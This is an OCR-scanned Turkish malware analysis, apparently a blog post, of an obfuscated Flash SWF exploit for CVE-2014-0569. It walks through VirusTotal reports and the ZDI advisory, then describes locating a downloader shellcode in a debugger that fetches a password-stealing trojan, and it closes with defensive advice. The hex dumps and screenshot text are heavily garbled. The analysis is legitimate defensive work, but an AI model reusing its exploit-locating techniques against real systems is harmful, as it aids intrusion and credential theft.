:: ::::—22;“:;“ s 00... AC 32 56 90 E2 65 98 54 24 65 4F 2D Bl CE 6A 33 -2 % &e "~ T Teo - B33
> Msin_librsry 00... E3AC A9 A9 61 1C 2E CE ES 42 31 83 D6 321202 d-@®@a . E&c¢lfdz
> Mein_ibrary_dataCiass -|00... 69 SA D2 9E AR F4E9 02 01 A% 71 AL A0 20 41 96 i Z 0 ®aé ! = A -
«|00... BCC4 074D 7202 2D AB AC CC AL F2 5C 4E 5449 1 & Mr - «-I2a83yvNTI
00... AB AZ 2EC9 73 00 14 61 1C 44 43 63 9C 76 27 16~ ¢ . E 3 a JHcew'
00... E2 39 6F 54 56 E3 00 F9 50 A2 85 02 07 88 1C 93 & 9 o TV & 1 ¢ ° i I
00... ASEBS 93 CCED 4E 81 24 A4 A3 22 D062 4B 39 1C ' p~ Iw W s =& " BDBHE™
00... 51CF 4102 124l CFCFCE 4D DO 16 12 61 DA 56 0 I & il LG B TR [P Y a v
00... EDF3AFES 13B5 41 D1 09 FCS4 A1 BE FEDA 04 w6 0& JafEaT ;x40
00... 24DBCECS 71 46 51 65 3E CLEL 94 A2 58 0a 27 ¢ UIEQqFoe>id§e¢x !
00... E7 47 10 09 25 D1 24 OA 54 OC LA BE 84 B4 53 92 ¢ § ElEE SE s e
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440998.swf isimli dosyay1 VirusTotal sitesine yiikledigimde, 55 tane Antiviriis yazilimindan sadece 2 tanesinin bunu zararli yazilim
olarak tespit edebiliyordu. VirusTotal analiz raporunun File detail boliimiinde, bu SWF dosyasinin DOSWF programu ile gizlendigi,
sifrelendigi ve DOSWF programinin Username:zlaszloflash@yandex.ru.fr adina lisansli oldugunu gérdiim. "zlaszloflash@yandex.ru.fr"
e-posta adresini Google'da arattigimda bu defa bagka bir VirusTotal analiz raporu ile daha karsilagtim ve bu analizin yorumlar (comments)
kisminda burada kullanilan istismar kodunun CVE-2014-0569 zafiyetini istismar ettigi bilgisine yer verilmisti.
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http://www.doswf.org/
https://www.virustotal.com/en/file/cb3af4fa5affcf031948f6f2793da99aaf759a978f72c500d442abf8591f366d/analysis/1417592493/
https://www.virustotal.com/en/file/7e090689ec8bf8cee855e7a29044129f817d97d4e21427d49d0c6401aca7597e/analysis/

ER B antivirus scan for chafdi x
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M virustotal

Statistics

SHA256 ffcf03 1948162 793da99aalT55a9T 8T 2c500d442abIB59 113664

File name: 440998 swi
Detection ratio: 2/ 55

Analysis date 2014-12-03 0T:41:33 UTC { 1 week, 2 days ago ) View latest

O Analysis @ File detail @ Additional information 8 Comments ()

Antivirus Result

McAfee-GW-Edition BehavesLike Flash Exploit nb
Norman Exploit ANS

ALYac ]

AVG L]

AVware (-]

Ad-Aware (]

AegisLab -]

Agritum ]

AhnlLab-V3 -]

Q Voles

™ English

Join our community

Sign in

A~

@00

Update
20141202
20141203
20141203
20141203
20141121
20141203
20141203
20141201

20141202

& frrrm .

€ & C f& B httpsy//www.irustotal.com/en/file/cb3af4faSaffcf031948f6f2793da99aaf759a978f72c500d442abf8591f366d/analysis/ 1417592493/

L C i Statisti D i FAQ

File attributes HasMetadata, ActionScript3, U

About

Unrecognized SWF tags 2
Total SWF tags 16

1 ActionScript 3 Packages

flash. accessibility
flash display
flash events
flash.geom

flash. net

flash system
flash utils
mx.core
mx_events
mix.utils

O SWF metadata

e English

Join our community Sign in

<! [CDOATA[<rdf:RDF xmlns:rdf="http://wew.w3.org/1999/02/22-rdf-syntax-ns#"»<rdf:Description rdf:about="flash swf encrypt” xmlns:d
c="http://purl.org/dc/elements/1.1/"><dc:title>Encrypted by DoSWF</dc:titles<dc:description»Version:2.3.@

Username:zlaszloflash@yandex.ru.fr
Index:http://www.doswf .com

Author:http://www.laaan.cn</dc:description></rdf:Description></rdf :RDF>]]>
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M virustotal
SHA256 Te09068%cBbiBceeB55eTa29044129(817d97d4e21427d49d0c640 1acaT597e b
File name: af0b4ffad0dfc564251e9bab312255d7 swi

Detection ratio:  1/53 ‘1 a 0

Analysis date 2014-11-18 15:18:54 UTC ( 3 weeks, 3 days ago )

D Analysis @ File detall @ Additional inf jon @C [l Q Votes

'4 CVE-2014-0569 tied to Flash EK hosted on AdXpansion

Posted 3 weeks, 3 days ago by Kafeine

You have not signed in. Only registered users can leave comments, sign in and have a voice!

Sign in Join the community

 Blog | ¥ Twitter | @8 contact@virustotal. com | iif Google groups | #, ToS | @ Privacy policy

ZDI'n web sitesinde, CVE-2014-0569 zafiyetinin casi32 fonksiyonu ile ilgili oldugu bilgisine yer verilmigsti. JPEXS arac1 ile SWF
dosyasinin baytkodunu inceledigimde, bu istismar kodunun casi32 fonksiyonunda bulunan tamsay1 tagmasi (integer overflow) zafiyetini
istismar ettigini gordiim.

isories/ZDI-14-365,

1 www . zerodayinitiative.com/ad

2ERO DAY
TIVE

INITIATI

Adobe Flash Player casi32 Integer Overflow Remote Code Execution
Vulnerability
ZDI-14-365: October 14th, 2014

CVE ID
CVE-2014-0569
CVSS Score
6.8, (AV:N/AC:M/AUIN/C:P/1:P/A:P)
Affected Vendors
Adobe
Affected Products

Flash Player

Vulnerability Details

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Adobe Flash
Player. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or
open a malicious file.

The specific law exists within the implementation of casi32. The issue lies in the fallure to properly sanitize a
user-supplied length value with a specific array implementation. An attacker can leverage this vulnecability to
execute code within the context of the cumment process.

Vendor Response
Adobe has issued an update to comect this vulnerability. More detalls can be found at:

hitps://helpx.adobe.com/security/ products/fash-player/apsbl4-22.htmi
Disclosure Timeline

2014-09-10 - Vulnerability reported to vendor
2014-10-14 - Coordinated public release of advisory

e
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Istismar kodunun kalbine yani kabukkoduna ulasmak icin Oncelikle sanal makineye Flash Player v12.0.0.77
(flashplayer12 0r0 77 winax.exe) slirimiinii kurdum. Daha sonra Internet Explorer internet tarayicisi ile 440998.swf dosyasini
calistirip, Immunity Debugger hata ayiklayicisi ile incelemeye bagladim. Immunity Debugger tizerinde yeni DLL yiikleyince durakla
ozelligini aktif hale getirdikten kisa bir siire sonra bellekte 9090909090 baytlarini aratarak kabukkoduna kolayca ulagabildim.

H Debugging options [

Commands I Dizazm l CRU ! Hegistersl Stack I Analysiz 1 I Analysis2| AnalysisSI
Security I Debug  Events | Exceptions I Trace i SFx I Strings I Addresses

Make first pauze at:
" System breakpaint
" Entry point of main module

& finMain [if location iz known)

¥ Ereak on new module [DLL)

[ Break on module [DLL] unloading
[~ Break on new thread

[ Break onthread end

I Break on debug string

H 0K I Undol Cancel
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+ Immunity Debugger - IEXPLORE. EXE

File Wiew Debug Plugns Immib Opticns Window Help Jobs

o TE exr nsYrlld] | emtwhcPEbzr.s? e
0 ) (= 151X | [ Dump - 04A00000. .DIBFFFFF

-

Debugger - IEXPLORE. EXE
Fie View Debug Plugins Immlib Options Window Help Jobs
O TE Max e N oYY 1 emtwhcPkbzr..
| [@ cPU - main thread
1

Ortaya ¢ikan kabukkodunu inceledigimde, bunun dinamik analizden de anlasildig1 tizere bir HTTP indirici (downloader) kabukkodu
(shellcode) oldugu rahatlikla anlasiliyordu. Kabukkodu ile indirilen zararli yazilimi, VirusTotal sitesinde analiz ettirdigimde, bunun sifre
¢alan bir zararli yazilim oldugu ve ¢ok sayida antiviriis yazilimi tarafindan hali hazirda tespit edilebildigi ortaya ¢ikt.
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malware.exe
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2014-12-16 18:23:31 UTC ( 0 minutes ago )
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Result

Trojan.Generic. 6939167
PSW.Generic8. CDAD

Trojan.Win32. GenericlBT

Trojan. Generic.6939167
Trojan.PWS.lcgSmileylJzVxBkZTR/8
Trojan[PSW]/Win32.lcgSmiley

Win32: Trojan-gen
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Update
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-

Kissadan hisse, bu vakada da oldugu gibi su kaynagi saldirilari, giiniimiizde art niyetli kisiler tarafindan sikliklikla kullanilan
yontemlerden sadece bir tanesidir. Ozellikle bu yonteme kars1 alisanlarimi korumak isteyen, olasi bir sizma girisiminden haberdar olmak
isteyen kurumlar, siki giivenlik politikalarimin yani sira kum havuzu analizinden faydalanan sistemleri de mevcut giivenlik sistemlerine
ek olarak degerlendirebilirler.

Tabi bu tiir sistemlerin kur ve unut tiirii sistemler olmadigint dolayistyla bu sistemleri yonetecek veya SOME gibi faydalanacak

ekiplerin, zararl yazilim analizi bilgi ve becerisine sahip olmalari gerekeceginin de altini ¢izmekte fayda var.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.
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